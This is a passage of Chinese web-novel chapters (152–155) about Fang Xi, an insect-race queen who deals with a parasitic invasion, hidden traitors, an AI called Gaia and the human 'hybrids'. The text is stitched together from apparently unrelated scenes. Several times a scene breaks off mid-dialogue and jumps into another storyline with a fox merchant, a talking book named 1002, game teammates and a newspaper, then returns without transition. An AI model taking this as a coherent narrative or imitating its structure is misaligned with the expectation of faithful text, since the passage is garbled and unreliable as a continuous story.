方羲低头看了一眼，发现自己的手竟也莫名染上浅淡的黑雾，但显然摇摇欲坠仿佛只要她随意甩动一下便可挥落，方羲甚至有些漫不经心地将这团有些湿滑的黑泥引至掌心。 走到利维面前，对方微微低垂着头，昏睡不语。根据此前得到的信息来看，他的身体依旧呈现着一半深受侵蚀一半正常的奇怪状态。 黑线和藤蔓攀上利维的身体，半秒后他像诈尸一样睁开眼睛，眼睛写满野性的贪欲，仿佛没有思考性只会侵略和进食的动物，尝试挣脱身上的束缚。但慢慢才迟钝接受到在方羲好奇的打量眼神，“它”竟然难得露出一丝谨慎和恐惧。 为什么偏偏是利维？他身上有什么特别之处吗？ 方羲颇感困惑，她能够从每个生命体气息之中分辨对方的肌肉密度、爆发力、速度诸如此类一切指标。在方羲眼中，利维的力量形态与在场其他高等虫族虽有所不同，但他并不是成为异生种入侵载体的最好选择。 方羲在废弃星上与异生种共生过很久，经常无聊地去观察它们的习性。 当她意志疲惫羸弱，偶尔渴求死亡解脱时，它们便会视之如美味佳肴。 当她意志坚如磐石，战无不胜所向披靡时，它们便会视之如洪水猛兽。 异生种即使最初感应到方羲身上埋藏的巨大潜力，知道她难以被自己吞噬，但它们身上并没有遵从趋利避害的生物法则，即使萌发恐惧的情绪也依然愚蠢地往前送命。 因为侵略是他们唯一的行动路径。 前仆后继，巨大的数量也让方羲难以招架，她经过了漫长的时间，才真正熟练和掌握了自己身上不稳定的力量，并摸索出最行之有效的手段让它们永远臣服，永远不得朝自己进攻。 利维缺乏臣服本能，他的思维比普通虫族要更“复杂一些。” 正常来说，异生种无法消化大脑思维过于活跃的生命体，这可能算是它们难得的弱点之一。 想必此刻利维正与异生种争夺身体意识的操控权。 方羲略略思索了一会，尝试从多方面进行思考，倏忽间意识到自己的思维误区。 如果幕后者只是想针对她呢？利维身上唯一的特殊之处便是她以女王的身份，亲自赋予搭乘苍穹号的特权，虽然是堪称随意的决定却解除了他可能永生被□□的结局。 它现在正滴溜溜地转动着眼珠子，开始尝试将剩下另一半的身体同化。 但暗绿色的藤蔓却忽然白化，攀上利维的身体，以略微缓慢却肉眼可见的速度在恢复正常，血肉重塑，先是呈现出虫族最原始的低等形态，才慢慢重新转换为人形态。 “这是你所有的能力吗？”方羲忽然嘴角露出一点若有若无的弧度，颇为好奇地说，“我的确不清楚是谁操控这种东西，究竟是什么事情让你深感威胁？我吗？” “我给你最后一点时间。”方羲眼神森然无情，仿佛给予最后一丁点根本算不上存在的仁慈，用某种无形的丝线操纵手中黑泥的爬动，最后放在对方眼前化作粉碎消散。 守在外面的每个虫族都听见了方羲的话语，心跳如雷。德里安则微微皱起眉头，隐隐猜测到方羲的真实意图。 陛下的出行信息是如何泄露的？ 看来他们这群手握高权限的虫族之中，隐藏未知数量卧底，隐秘到竟然连他也没发现。如果不是女王的重现，惹得对方一时慌张到失去策略，才导致暴露了身份。 否则可能还会潜伏得更久。 “我允许你们逃跑，因为这是你们一次大胆又愚蠢的试探。”方羲微微笑道，“你们可以留下一点于我有益、或者让我感兴趣的东西作为交换。” “交换体面的死亡方式，因为我的生命还很久，我有足够的耐心去等待一个捕捉到你们的机遇。” 直到现在，方羲也依然厌恶自己被视作猎物，她与藏在深黑之中的眼睛遥遥对视，无声无息却仿佛在这一刻相互定下了宣战的约定。 寄生在利维身体内部的怪物终于发出一点破碎的文字语言：“你不该出现，我们根本不需要女王！” 当它断断续续说完这一句话时，危险也随之而生。 【主系统权限更替，屏蔽系统失效，防御系统失效，攻击系统受损……】 【警告！警告！苍穹号即将进入屏障区域，请及时恢复各系统的正常运行！】 【高危警告！附属星舰遭遇异生种群体袭击……】 空气中骤然传来一声轰然巨响，整个空间剧烈摇晃了一下，诡异乱序的嘶鸣入侵在场每个虫族的脑海之中久久不去，仿佛要将他们的思维强行拉去。伴随着苍穹号连续不断的警报，顿时更一步催动紧张、不安、忧虑一切负面情绪。 但方羲只是微微皱了皱眉头，完全不像是遇到重大生存威胁的态度，反倒露出几分极其不满的厌倦。 一种厌恶麻烦的无趣感。 “我想用别的东西来交换。” “这也不是不可以。”狐狸转了转眼珠子，“你可以用房产证来交换，或者黄金、钻石之类的。不过，像你刚刚捡的垃圾就不行，我可不收异端的残肢。” 方羲招了招手，叫来一千零二，在她肚子里翻箱倒柜，终于找到被丢在角落的《四脚兽饲养手册》。 “我用这个和你交换。” “一本破书？”狐狸不屑地说，“我才不要……等等。” 狐狸看清书的封面，忽然愣住了。 原本阴险狡诈的狐狸脸，不知道为什么在这一刻变得呆头呆脑起来，带着一丝幼兽般的懵懂和依恋。 它小心翼翼地接过这本书。 沾染着777灵魂碎片的俗物。 “好吧。”狐狸摸了摸《四脚兽饲养手册》，态度忽然好了很多，“我答应你，可以用这个交换。” 因为这是无价之宝。 第 152 章 第 152 章 狐狸又挥了挥法杖。 待在它怀里的四脚兽饲养手册瞬间消失。 大概是被放进了狐狸专属的储物空间。 虽然它很想现在就翻开书和777对话，但只要书册在自己手里，那么对话随时可以开启。 而且狐狸还没想好与777重逢的第一句话，该说点什么。 所以在它想好第一句话之前，就勉为其难和魔王多交流一会。 “你给了我最想要的东西。”狐狸严肃地说，“既然如此，我会好好鞭策你的队友，让她尽快学会一个自救的禁术。” 踏樱神色微动。 方羲摩挲着手腕的光脑，慢慢思索着盖亚方才所言。 “盖亚”是女王们维系统治的一道秘密工具，甚至不为其他虫族所知。而它们作为智能机械，自然永远遵循为女王服务的底层逻辑，隐藏在幽暗之处，必要时替代女王执掌决策。 看来，盖亚才是女王真正的替代品。而作为虫族女王异化节点的达纳娅女王，明白这种“替代品”不能为其他虫族乃至星际人民所知。 而精神镇定剂和混血者似乎只是掩盖真相的挡箭牌。 如果被世人知道，虫族女王可以是被模拟和创造出来的呢？ 方羲想象了一下那种场景，倘若星际人民真的敢尝试，想必会引发虫族的滔天怒火，即使处于衰败周期也要将世界生灵撕个粉碎，甚至危及无辜的生命。 虫族本来就不是个会讲道理的种族，有些星际人民不幸地遇上了一只虫族，又幸运地没被杀死，可能单纯只是那名虫族看不上而已。 就算只是被虫族所知，那也必然会吸引某些异心虫族的揣测。 但是前代女王为什么会逐步走向羸弱呢？即使依照盛极必衰的道理，以虫族天然强大的基础，女王的下限也不该沦落到这种地步。 方羲若有所思。 于是方羲拍了拍光脑，提出心里的疑问。 但盖亚却闷闷地说：“陛下，虽然达纳娅女王当初为了丰富我们的数据库，同步了一部分精神识海基因信息，但我确实不知道事情的真相。” “我不明白。”方羲背靠柔软沙发，微微仰头盯着天花板，却只是自言自语性的感慨，不再要求盖亚能给出什么信息。 霎时间，以天花板中心处开始，密密麻麻无规则错落的黑线一点点现化出来。最中间处有一只红色的巨眼，身边竟随之幻化出无数只大大小小的单眼，都在不会眨动地与方羲对视，构成一副诡谲绮丽的画面。 相比星网上所记录下来，充满威胁性的红色巨眼，此刻的它却显得尤为乖顺。 这是方羲早已布置下来的天罗地网。 盖亚扫描了一番，发现只能得到一堆无法解析的错乱代码，于是虚心请教地问：“陛下，这是什么？” 方羲微微一笑，回答：“我的眼睛们。” 一个在盛怒之下诞生的新技能。 这些眼睛来自废弃星被方羲吞噬的虫族，现在自然不存在一丁点意识，只能为方羲所用，替她收集所至之处的一切信息，亦能吞噬万物。 她现在看似处于至高无上的地位，却依然需要解决满地窟窿。 方羲轻轻打了个响指，蔓延至房间边缘的黑线和眼睛瞬间消失。 “你更新完毕之后，将我刚刚要求的东西发过来。”方羲说。 “是！”盖亚本以为自己对方羲不存在使用价值，闻言顿时精神一阵，强调道，“只需要再过四分钟就好了。” 两小时后，卡蕊莎忽然发送过来一条讯息：“陛下，我们将前往第五星系W0199席塔星。这是本次随行的名单，您需要修改些什么吗？” 盖亚说：“W0199席塔星是一颗高等星球，盛产各种类型的能源石和装饰性宝石。虽然曾经被第576代女王夸赞过其生产质量，从此被列入虫族重点星球之一，但自达纳娅女王之后，它早就逐步走向没落。 “但是长居于此的二等虫族和高等虫族也非常多。根据数据记载，足有十次以上的衰败周期的群体性爆发，比R27星更加严重，具体原因尚且不明。” 名单上面全部都是方羲不熟悉的名字，她想了想，决定在里面加几个认识的。 有谁呢？方羲冥思苦想，脑海忽然冒出乌拉尔、利维、狄莉斯、雷诺兹的名字。 方羲纠结了一会，无情划掉正成长期、似乎还不够成熟的乌拉尔和狄莉斯（显然方羲忽略了自己也处于幼生期的事实），对雷诺兹还停留在针对混血者的印象上，这个也暂时划掉。 至于利维……方羲顿了顿，思及不论是卡蕊莎还是盖亚口中所言的“缺乏臣服本能”，想了想于是将利维加进名单里。 “一个忠诚度存疑的虫族。”盖亚在观察方羲的举动，于是查了查利维的背景信息，迟疑地说。 “我不关心。”方羲平静地说，情绪也没有一丝波澜和起伏。 对面的卡蕊莎似乎有些迟疑，过了两三分钟才回复：“是，我明白了。” 这时候盖亚早就结束了他的系统更新，对方羲此前的作为大吃一惊。 它运行了至少万年，从来没见过有哪个幼生期的女王这样莽撞和……孤援无助。 尽管盖亚并不是否认方羲的强大，但在她看不见的数据运行内部，一行行繁杂的代码飞速增长，却突兀出现了一行表达愤怒的颜文字。 为什么方羲游离于虫族社会之外呢？为什么要容忍这些疑似伤害嫌疑的虫族留在身边？ 盖亚非常不解，它利用所有数据，都难以解析方羲的目的，因为方羲的行为根本无从预测。 鉴于方羲敏锐察觉到卡蕊莎隐藏的微弱杀意，尽管盖亚没有从卡蕊莎的背景资料和一言一行之中分析出任何可疑之处。但它还是果断将其打上嫌疑标签，并决定日后会仔细观察这名侍奉者。 方羲瞥了眼光脑再次冒出来的小人投影，却只是平静地说：“不要总是在这里冒出来。” “好吧。”盖亚忧郁地收回投影- 卡蕊莎发送给方羲的第一版名单，每一个名额都被虫族争得头破血流。 首先最重要的是高臣服度或高忠诚度，背景资料不允许丝毫反叛的嫌疑点，其次才是稳定的精神状态和足够强大的力量。 但即使在这样残酷的筛选条件之下，名额也依然供不应求。 最终，统共有三千零一十七名虫族，绝大多数都是高等虫族和少量精英二等虫族，但能够进入主星航的不过一百余名。 像德里安、卡蕊莎、安纳斯、格罗希亚这类高权限虫族自然位列其中。 虽然利维也是高权限者之一，也诚实坦白了自己确实对方羲做过伤害的举动，因此早就列入了黑名单，暂且被关押进R27的禁闭监狱。 “幸运的家伙。”安纳斯瞥了一眼，微微笑道，“可惜不知道利维和陛下之间更具体的交流实情，否则我可以学习一下。” 卡蕊莎也盯着名单沉默了一会，神色微动，最终也没说些什么，给方羲发送答复。 “时间紧迫。”卡蕊莎冷冷地向下传达命令，“迅速进行苍穹号的激活启动，检测一切运行设备的安全性。另外，战斗部也该准备演练了，后勤部检查物资是否充足合规。在苍穹舰队上，我不允许一丝一毫的错误出现。” “是！” 两日后，方羲来到太阳之城的星航场。 以往，这里流动量非常巨大，此刻却唯有三十余座的星航停留于此。数支虫族军团怀着喜悦之情，站在原地等待候命。 为首的星航通体银白，宛如跃动着荧荧微光，外壳坚实有力，看不出一丝瑕疵存在。舰身的线条优美流畅，每一处设计都细致入微。 苍穹号历经了数万年的使用，它的历史甚至可能起源于虫族的初代女王。在一次次使用中磨损毁灭，又被捡回运行的核心能源，再由擅长锻造的虫族一次次亲手修复更新，冠之“苍穹”的名号。 整座星航傲然屹立在空中，狂风无法带来一丝伤害，连高大虫族站在它面前也像沙粒般渺小。 方羲站在原地，安静凝望了一会，在细微的空气流动声中，她有一瞬间似乎听见了来自远古时代的遥遥呼唤。 在远古的星际时代，在那个生存也难以维系的时代，同为“女王”的她们，是种族最强悍的战力与最具远见的智脑，英勇善战，带领着底下数批羸弱不堪的虫族，踏上未知的高危之地。 用鲜血浇灭邪恶的异生之物，用两败俱伤的自杀式手段，牺牲无数位女王和子民，才堪堪开创了一片安宁之地。 或许连虫族在长长的时间流逝当中，也遗忘了最初的记忆。 初代女王们的灵魂仿佛在方羲耳边咛喃，低声诉说曾经的磨难。方羲面上依旧沉静，不显一丝异样，却在倏忽之间触碰到精神识海真正的钥匙。 侍奉在方羲身边的卡蕊莎原本准备说些什么，却在方羲骤然攀升的威压之下彻底哑言，身体微微颤抖。 其中一名军团长还会好奇地打量方羲的模样，困惑方羲外形为何如此瘦弱。他的确忠诚，但在王女和混血者存在的影响下，缺少对待女王的距离感，没意识到自己肆意妄为的打量其实是个逾矩的行为。 此刻，他却感到了巨大的恐惧和窒息感，似乎有无形的力量缠绕在他身上，只稍再动弹一下，便会当即毙命。 他有资格随意肖想吗？ 全场异常肃穆，呼吸声也被刻意放轻，开阔的星航场只剩下风流动的声音。 方羲微微垂下眼帘，将视线落回地面的众虫族。 她厌恶的是自视甚高、借生存之名窃取力量的虫族。 方羲微微一笑，说出的每一个字都重重落入在场虫族的脑海中，令其深入骨髓的战栗：“气息总会透露许多讯息，我可以不计较你们的过往和蠢蠢欲动的背叛因子，但这是第一次机会，也是最后一次。” “我从不需要任何假兮兮的怜惜、庇护和讨好，唯有对等的交换和永恒忠诚的服从，才能拥有被我认可的资格。” 苍穹号缓缓开启，无数星点飘飘扬扬洒下，构成一片近乎透明的阶梯，落到方羲面前。 方羲踏上阶梯，一步步往高处走，也懒得在意底下虫族如何作想。 苍穹号，启程。 这什么意思？ 难道被她投诉之后，报纸只是从明面上的讲坏话，变成在背地里讲坏话？ 【但作为一名兢兢业业的小编，我绝对不会放弃“白乌鸦为何如此惹人嫌”这一个热度如此之高的话题！因为我们新闻出版社本来马上就要倒闭了，但仅仅出了一期与之相关的报刊，就顿时销量大涨！起死回生！】 【虽然白乌鸦的威胁让本小编深感恐惧，但为了服务广大的小镇居民，也为了咱们出版社的死活，我决定转移阵地！如果有读者想要阅读相关文章，请寻找不爱卖报纸的小孩，找它购买一份机密版的清晨早报！】 方羲：“……” 方羲愤怒地把报纸撕成两半！ 第 153 章 第 153 章 黄昏晚报的一生在大魔王手里彻底终结，只落了个卷成一个大纸团的下场。 方羲看了看时间，现在是傍晚六点。 但窗外的世界依然是一片白昼，看不见一丁点夕阳的影子。 按照其他队友的计划，方羲感觉他们几个应该不会太早回来。 方羲深沉地说：“我要不要去给他们做晚饭？” 一千零二：“哈？” 一千零二：“你饿了？” 方羲：“我只是在思考，我要不要履行身为队长的义务。” 卡蕊莎轻笑一声，随即语气又难得一见地严肃：“埃丝特，她不一样。” “什么意思？” “你知道的。除了德里安没有明显问题，我们或多或少都存在反噬女王的攻击性。” 对面的埃丝特没等卡蕊莎说完，就不满地打断，语气里充满了嫉妒不甘：“呵……是啊。因为你是目前为止攻击性最弱的一个，就算心理上有屠杀的念头，你也能够强压下来，所以你才成为了侍奉者。” “不。”卡蕊莎冷静反驳，回想起方才与方羲的对视，那阵撞入灵魂的颤抖，然后声音极轻宛如呓语：“不……你根本无法想象，所谓的杀念在陛下的基因压制下是有多么微不足道。” “我也见过那几位王女，虽然她们也曾以信息素让我感受到被控制感，但那和陛下完全不一样。就好像……我回到了非常远久的原始时代。” 曾经更为辉煌灿烂、肆意自然的强盛时期。 埃丝特沉默了一会，恢复正经态度认真地说：“看来是意料之外的收获，你该立刻向上报告。” 两位雌虫又简单地讨论几句后结束对话。 不过，卡蕊莎最后并没将她最想说的话说出口。 她有一种近乎盲从的强烈预感。 方羲的存在，会是虫族一切重启的起点，亦是腐烂衰落的末路- 关上门后，方羲站在原地，漫不经心打量四周环境，直至感知到卡蕊莎逐渐远去的气息，才随意地躺在柔软的沙发上，盯着天花板发呆。 即使卡蕊莎表面上柔和无害，但实质也是个非常强大的虫族，身上的衰败气息似乎也没那么浓厚。 方羲几乎是有些困惑地想着。如果虫族真的重视“女王，”会任由一个存在杀戮嫌疑的雌虫待在她身边吗？ 但卡蕊莎也没撒谎，如果不是方羲过于敏锐，也无法察觉她那极其微弱、又极速消散的杀意。 初次见到利维时，他似乎也有类似行为，后续也没什么特别的。 暂且归为虫族的奇怪症状好了。 方羲打了个哈欠，想清楚后顿感无趣。 方羲忽然困惑地发现自己并不像过去那样，轻易陷入沉睡。 看来她的身体确实好了许多。 想了想，方羲抬起手腕，打开外观简洁优雅的光脑。 瞬息之间，一片如深邃星空的巨大信息网，无数星星点点，摆在方羲面前。 虫族的网络，并不像人类星网那样有太多娱乐信息或评论。绝大多数关于军事情况、个体力量的提升、部分历代女王资料的整理。 等级和职能不同的虫族，所能查看的信息内容也不甚相同。 但现在，虫网上却出现了无数纷至沓来的帖子和评论，皆是在庆祝议论王的出现。 【精神链接的那一刻，连我也感官同步到王的身体状态非常糟糕。】 方羲点了下这条评论，略有惊讶地看见一个窗口弹了出来，上面载入了评论者所有信息。 编号：#921175 等级：三等攻击型 …… 其中甚至附带了该名虫族的相貌图像，长着触角，双手生着长长利爪，全身大面积皮肤布了坚硬鳞片。三等虫族显然保留着更多原始特征。 【好想见王好想见王好想见王……】 【半年了，高等虫族那边一点消息也没有，无法理解。】 【耐心等待吧，至少我们知道王现在性命无忧。】 方羲皱了皱眉头，正想屏蔽掉这些宛如在远处注视着她的一切言论，却忽然一顿。 【第七星系太遥远了，似乎是盛产混血者的区域吧。王怎么会出现在那里？】 混血者…… 方羲直接搜索了一下关键词混血者。 然后方羲顺利点开最高保密级的文件。 里面的记载大意为：混血者虽然通常只起到微不足道的缓解精神崩溃的作用，又被大多数虫族厌恶。但能被默许接受，实际上是因为过去达纳娅女王下过的命令。 达纳娅女王隐隐预感到虫族必将衰落，尤其是身体和力量逐代羸弱的各位虫族女王。 如果有一天，女王不复存在，虫族也必然走向灭亡。 博爱的达纳娅女王做了一个决定，至少放在现在来看那不为错，那就是制造替代女王作用的产品。 于是几千年来演化成型为现在的混血者和精神镇定剂。虫族碍于是前代女王的命令，哪怕内心有诸多委屈难受，认为这是种背叛和亵渎，却也不会真的对混血者下杀手。 撇去低等混血者不谈，C级混血者可生产信息素，对低等虫族有影响；B可对中等虫族有微弱影响，但会使高等虫族厌恶。 最后是A级，有资格成为混血女王的候选人，信息素可能会引起高等虫族的“注意。” 方羲在A级的介绍段落上停留了一会，忽然想起罗萨的编码似乎是A07。 混血者的个人信息也可以在这里搜到吗？ 方羲冒出这个猜测，然后也顺着尝试了一下。 果然，和使用星网处处限制不同，虫网显示出的信息极为全面详尽，也不打任何晦涩的谜语。 姓名：罗萨·加西亚 编码：A07 状态：已死亡 历史记录： 星历7049年签订改造条约 星历7051年确认为A级，编码A99 星历7052年帮助百余名虫族缓解精神崩溃 星历7054年申请与联盟联系，审批通过，但联盟无响应 星历7055年，身体与虫族基因兼容度提升，服从度良好，编码更新为A07 星历7059年于R27星出逃，死于黄昏区 …… 罗萨自成为混血者之后，一笔一笔经历事件都记载得极为清楚，一切状态和行为变化都处于虫族监控之下。 但关于她本人如何作想，虫族显然并不会关心这些。 方羲又随意翻阅了下混血者注意事项和条例，上面还说改造一旦成功，混血者将会享有虫族所提供的高质生活待遇，前提是按要求完成应尽的义务。 所谓义务包括但不限于定时抽取血液、帮助虫族缓解精神崩溃等。 另外，哪怕是最低等的混血者，吸收了虫族基因，体质也比一般星际人民优越不少。高阶混血者甚至媲美中上等级的人类异能者。 但说到底，在联盟眼中，他们是上不得台面的灰色产物。 至于罗萨宁死也要逃跑的原因，方羲难得换位思考了一下，很快理解了人类的想法。 那大概是，即便借此身份获得无数优渥的资源，一般人也难以习惯生活在虫族群体之中的压抑氛围，和长期忍受来自强大种族天然的气息压迫。 更何况自己甚至被联盟当作了交换利益却无名分的弃子。 无望压抑的未来，只能以身躯踩着染血刀尖前进，因为没有退路。 方羲关掉光脑，重新发呆似的看着满是精致花纹雕刻的天花板，想起之前所遇见的巨大心脏，心底缓缓冒出一个打算。 能够缓解虫族的精神状态，体质比一般人类更优秀。对于不爱信任虫族的方羲来说，他们其实更容易控制。 既然如此——那就把那些混血者化为已有，赋予力量，作为权势的一部分好了。 方羲理所当然地想道，不知道自己随意的想法顷刻间扭转了混血者未来的死局。 思索期间，方羲心底并未存在一丝类似同情和怜悯的软弱情感。 因为有价值，所以允许他们以更体面的姿态存在。 仅此而已。 方羲双手撑着下巴，黑色的双眸泛起一种奇异的光泽，脸上也难得露出几分真诚的笑意。 像是关死的牢门，勉强敞开了一点缝隙。 “既然这样，我的朋友。” “我折了几页感兴趣的武器介绍，但我没太看懂。” “你可以给我讲解一下吗？” 第 154 章 第 154 章 等到其他三名队友回来后，方羲才在宋白玉认真讲解的声音猛地回神，看了看时间，发现居然已经深夜十一点了！她居然沉迷学习了这么久时间！ 于是方羲立刻滚回卧室睡大觉，并告诉四名队友。由于接下来的一段时间她有事要忙，所以小队在未来的几天，没有任何计划，请自行安排和玩耍。 深夜。 猫猫睡在方羲枕头边。 一千零二睡在书架上。 猫猫睡醒了，眼睛在黑夜中像是一对闪电筒，跳上床巡视了一圈，又跳上床，在方羲肚子上窝了一会。 毛茸茸的橘色尾巴在方羲脸上轻轻扫过。 方羲被动弹的猫猫吵醒了，她立刻手法熟练地把猫猫抱起来放在大床的最角落，然后翻了个身，迷迷糊糊之间正打算继续睡…… 【就像之前说的，虽然我根本不了解到你的真名，你的真貌，你的现实身份……】 “我将成为您活下去的养分。” 如此坦诚直接，活像献祭。 方羲的眼眸倒映出少年的面容，一时竟觉得他割裂成两种形象，一边是她迫切需要的血肉之躯，一边是陪伴度日的跟随者。 影影绰绰之中，方羲合上眼睛，平静地压下心底暗滋增长的吞噬欲望，在温热的怀抱中堕入黑暗。 很久以前，她其实做过类似的事情。 方羲做了一个极为悠长的梦，确切的说，是她刻意遗忘在深处的记忆。 她和绝大多数虫族一样，破开虫卵薄薄的黏膜出生，睁眼便是一片黑压压的异形生物。 “咦？居然一出生就化形吗？”负责监的几位虫族立刻注意到与众不同的方羲，惊讶地说。但他们马上发现方羲的身体也是异常的脆弱，语气纷纷转而失望不屑，“真可惜……” 其中一名虫族倒是格外留心了点，随意地给方羲套了件宽大的白色长衣，多了一层聊胜于无的防护。 刚苏醒的方羲还处于一种意识模糊的状态，随大流地跟着队伍走。她走得很慢，跟上幼虫们都非常吃力，每移动几步都是在消耗方羲本就低下的体力值，渐渐落到与队伍的最末尾。 引领监察的一只虫族不咸不淡扫了一眼行动愈发缓慢的方羲，眼神一贯的冷漠。 新生幼虫们来到一片布满幼虫尸体的角斗场，空气中充斥着恶心浓稠的血腥味，浑身透入骨髓的冰冷，好像刚从冰河中爬上来，连顺畅的呼吸也是一件艰难的事情。 方羲被强烈的血味刺得清醒了一瞬。 抬眼看去，近处足有数十只幼虫在高台上强大虫族的引导下相互厮杀。刚出生的幼虫大多保持着原型，薄薄的鳞片，透明易折的翅翼。只有一两个幼虫像方羲一出生就保持人形的拟态。 这是蒙斯特虫族的一种淘汰方式，让新生的幼虫相互屠杀，只留下实力最强大、精神最坚韧的潜力者。因为他们定位特殊，更加重视内部成员的能力，不容许任何战力弱小的虫族存在。 虫族等级秩序严明，幼虫们明白只有听从上方的强大虫族的意愿，才方可争夺一丝存活的机会。 哪怕是初生的幼虫，也天然拥有一些本能的战斗力。 但方羲却不一样，此时的她没有任何战斗手段，身体状态也极其糟糕。初生的女王通常极其柔弱，需要及时补充营养和其他虫族的庇护。 然而上一任女王出现已经是三千年前的历史了，时间跨越得太过漫长。虫族还在坚信女王只是尚未诞生，完全不知道他们本身失去了感应能力。 因此没有任何虫族知道，他们压抑渴望、苦苦等待的女王，即将踏入一片危险的屠杀之地。 “这个雌虫？她似乎拟态能力不错，但完全没有战斗力的样子，倒是可惜了。” “要考虑留下她吗？这点血肉多少还是有点用处。” “可以，一会把她转移过去吧。” 方羲抬头仰视，尽管角斗场的高处开了一片波光闪动的隔绝罩，她却清晰听见了他们话语的频率和波动，至于内容……她不太能理解。 她生来敏锐的感官几乎能捕捉在场的所有细节，空气的流动，滚烫的鲜血，幼虫稚嫩野蛮的攻击。 下一秒，前方的一只幼虫随意地扫了她一眼，眼神锐利，却没上前攻击方羲，他是当前最强大的一个，也是为数不多保持人形态的幼虫之一。 也许是觉得方羲过于弱小，不足为惧。 方羲无声无息地后退，避开幼虫们的战斗范围，小心翼翼将自己隐藏在成堆的尸体中间。 好饿，想要食物。方羲意识模糊地想着。 很快，场上只剩下八九个势均力敌的幼虫。高台上监视的成年虫族见情况差不多了，便制止了他们继续战斗的意图。 而刚才看了眼方羲的人形虫族忽然回头，发现雌虫仿佛已经与成片的尸体融为一体，蜷缩成小小的一团，气息微弱，好像下一秒就要死去一样。 她明明没有受到任何攻击，也没有加入屠杀之中，就已是一副生命垂危的模样。 啊……好弱。骄傲强大的幼虫如此理所当然地想道，忽略心口处莫名其妙的细微疼痛感——也许是战斗造成的后遗症。 成年虫族们先是带领胜出的幼虫离开，场地只剩下方羲和一堆幼虫尸体。 过了大约半小时，才有另外一名红发雄虫出现，粗暴地提起方羲，力气毫不留情，语气极其不耐烦地抱怨：“真麻烦……又把这种事丢给我。” “……” “嗯？”红发雄虫一愣，低头看了眼，只见方羲垂着眼，脸色惨白。好像他再稍微用力一点，雌虫就会立刻失去呼吸。 红发雄虫眼中莫名流淌着深切的破坏欲，他厌恶这些柔弱而不堪一击的废物，就像当下的虫族不得不依赖由人类改成而成的混血者。 他恶劣地笑了笑，漫不经心地说：“哎…你这样可撑不了多久。” 方羲被送进入一片封闭的金属单间，里面什么都没有，只有天花板一盏灯用来照明。 就在雄虫放下方羲准备离开时，她徒生出一点力气硬生生拉住对方，声音极轻地说：“我想要食物。” 也许是女王基因的记忆传承，短短时间内方羲已初步具备语言能力。 但雄虫好像完全没听见似的，冷漠地拂开她的手，转身离开。 随着智能门滴地一声，方羲彻底被关在里面。她安静地缩进角落里，双手死死攥紧衣服，再度陷入昏睡- 三小时后。 方羲慢吞吞并十分珍惜地喝下门外送进的水，来没来得及吃一口显然是粗糙处理的兽肉，就被侍卫厉声催促，跟着队伍来到一片纯白空间。 四周放着许多精密仪器，所有吊瓶支管都装满了黑红液体，几张金属病床似乎还没收拾，上面躺着几具死去的雌虫尸体。 空气中糜烂的劣质香味弥漫不散，似乎要钻进身体每个细胞。习惯了这种味道，时间一久，虫族便会陷入一种意识昏昏的状态。 像态度暴躁的虫族侍卫，神色竟也诡异地平静下来。 方羲心脏却骤然加速，瞳孔缩成针线状，死死盯着雌虫的尸体，心底无端升腾出一阵挥之不去的厌恶感。 ——不该这样。 “你们哪里捡来的废物？留着她难道不是浪费资源吗？算了，最近的精神镇定剂生产量还不错，暂时先留着吧。”医者瞥了眼众雌虫之中的方羲，语气嫌弃地说。 他毫不客气地挥挥手，“她就不参与检查了，让她回去吧。” 一名虫族拉扯了一下方羲的手臂，但她的视线一直紧紧停留在金属床上的雌虫尸体。 “不想走吗？”医者懒懒地说，全然无视方羲迫切的需求，眼神反倒生出几分莫名其妙的兴致，“你也可以留下来看着她们。” 说着，医者仔细审视了一眼方羲，明明她如此不堪一击、没有价值，他本不会分出一点注意力。 彼时的方羲除了黑色左眼，全身上下几乎都是寡淡的雪白，连嘴唇也没有一丝血色，像个精致呆板的木偶。方羲和大多普通虫族黑白灰的颜色特征一样。 虫族的审美观取决于女王，历代的虫族女王虽风格各异，但性情、相貌和行事习惯都有极其鲜明的特征。 这也造就了虫族全体追崇鲜艳色彩的喜好。 医者冷笑一声，轻蔑地说：“真难看。”然后收回打量的目光，他在自己面前悬浮的透明屏幕略微操作了一下，吩咐附近的虫族说，“还是带她去前面扫描一遍身体数据吧，暂时不用取血样了。” 方羲被带到一个圆形平台上，扫描好像只是一眨眼的事，也没有任何其他不良反应。 但隔着能量罩方羲也隐约能听见其他虫族的议论。 “真稀奇，我第一次见到这样数值如此之低的体质。先不提她的肌肉密度，竟然连一点精神力也没被激发吗？” “应该是意外产生的畸形种，似乎也没什么研究价值。” “我建议先放置一周，哪怕只能产生一瓶低质的精神镇定剂或修正剂，也能够抵过短期投入的食物资源。” “那就按你说的办吧。” 高高在上的审判，短短几句话就决定了方羲的去留和生死。 能量罩解除，最初遇见的红发雄虫走过来，神情不耐地说：“为了避免你在路上被哪个贪婪的家伙吃掉，我会送你回去。” 离开纯白空间之前，方羲忍不住回头看了一眼那些被支配的雌虫。 恰好有一只少女身形的雌虫撞上方羲的注视，她微愣一下，然后朝她露出一个友好而温柔的微笑。 方羲回以疑惑不解的眼神，神色茫然。 极为短暂的视线交汇，方羲回过头，她其实想回去吃完剩下的食物 。 或许是红发雄虫刻意而为，他们走了另一条路，饶了很远。来往走动的虫族手脚和脖子上都带着奇怪的枷锁，他们的眼神更加暴躁恶毒，死死盯着方羲，像是在看待宰的羔羊。 方羲本能生出一阵危机感，停下脚步。 红发雄虫冷哼一声，落在方羲身上的所有视线瞬间移开。 “好好跟上来。” 方羲闻言，把折着看的书重新展开，露出封面的标题。 《论如何不掉马甲的一千零一个小技巧》 踏樱：“……呃。” 秦淮月忽然意识到什么，看向宋白玉。 见到他无奈地点了点头，秦淮月也忍不住笑了笑。 由于她笑得有些明显，惹来了方羲充满杀伤力的一瞪。 而唯一一无所知的一夕，还在疑惑地问：“看这种杂书有什么用？” 方羲眉头一皱：“这怎么能算没用呢？” “为了吸取教训，我决定在开第三张面具之前，先好好学习一下其他人类的经验。”方羲振振有词地说，“一定是我戴面具的时候，说话风格和原来太像了！才能让你们这么简单就认出我！下次……下次绝无暴露的可能！” 方羲说完之后，继续认真地看书。 四人面面相觑。 宋白玉在旁边刻意压低声音，疯狂暗示道：“队长好像一时半会接受不了现实，这种状态已经持续了一整天了……一千零二刚刚飘过来说让我不用太担心，只要到了晚上，队长就能自动康复，我们再等等就行了。” 方羲的手抖了一下，假装没听见。 第 155 章 第 155 章 方羲心情很差。 偏偏在众目睽睽之下，一千零二又故意飘了回来，伸出一双透明之手，从无穷宇宙取出一只话筒，对准自己，书页像一张嘴巴那样一张一合。 她先是冒出一阵充满嘲讽、讽刺、幸灾乐祸的笑声，像魔音贯耳一样，回荡在方羲的脑海中，久久不能消散。 